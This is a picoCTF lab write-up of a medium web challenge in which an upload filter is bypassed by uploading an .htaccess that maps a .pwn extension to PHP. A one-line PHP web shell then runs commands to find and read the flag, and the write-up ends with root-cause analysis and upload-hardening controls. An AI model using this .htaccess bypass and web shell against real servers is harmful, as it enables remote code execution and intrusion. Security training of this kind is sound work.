picoCTF · picoGym Web Exploitation Medium 300 pts

byp4ss3d — .htaccess Upload to PHP Execution

OWASP A01 — Broken Access Control / A05 — Security Misconfiguration

Vulnerability Overview

The upload endpoint blocked .php files by extension but permitted other PHP-compatible extensions (.php5, .phtml) and, critically, allowed upload of .htaccess files. By uploading a custom .htaccess to the uploads directory, Apache was configured to execute any custom extension as PHP — effectively registering a new PHP extension that bypassed the filter entirely.

Reconnaissance

Initial probing established:

  • PNG uploads succeeded and were served from /images/
  • .php extension was blocked by the filter
  • .php5, .phtml, and .phar uploaded but were served as plain text — Apache was not configured to execute them
  • Server: Apache/2.4.62 (Debian)

Exploitation

Step 1 — Upload a custom .htaccess

Apache reads .htaccess files in each directory to apply local configuration. Uploading the following to /images/ instructed Apache to execute any file with a .pwn extension as PHP:

AddType application/x-httpd-php .pwn

Step 2 — Upload the web shell

<?php system($_GET['cmd']); ?>

Saved as shell.pwn — not blocked by the filter, and now executed as PHP by Apache.

Step 3 — Enumerate and extract

http://.../images/shell.pwn?cmd=find+/var/www+-type+f
# Output: /var/www/flag.txt

http://.../images/shell.pwn?cmd=cat+/var/www/flag.txt

Root Cause

Extension-only filtering is insufficient because PHP-compatible extensions are not limited to .php. The more critical failure was permitting upload of .htaccess — which gives any user the ability to reconfigure Apache's behavior for that directory, including registering arbitrary new PHP extensions.

ControlImplementation
Block .htaccess uploads explicitlyAdd it to the denied list — never allow users to modify server configuration
Store uploads outside the web rootFiles at /var/uploads/ cannot be executed via HTTP regardless of content
Whitelist MIME types server-sideValidate file magic bytes, not just extension or Content-Type header
Rename all uploaded filesA random UUID with a safe extension cannot be found or executed even if uploaded
Key Insight: File upload security requires defense in depth. Blocking one extension while permitting .htaccess upload leaves a complete bypass available. The most robust mitigation is storing uploads outside the web root — no amount of file content matters if the file cannot be reached via HTTP.
Flag See challenge on picoCTF picoGym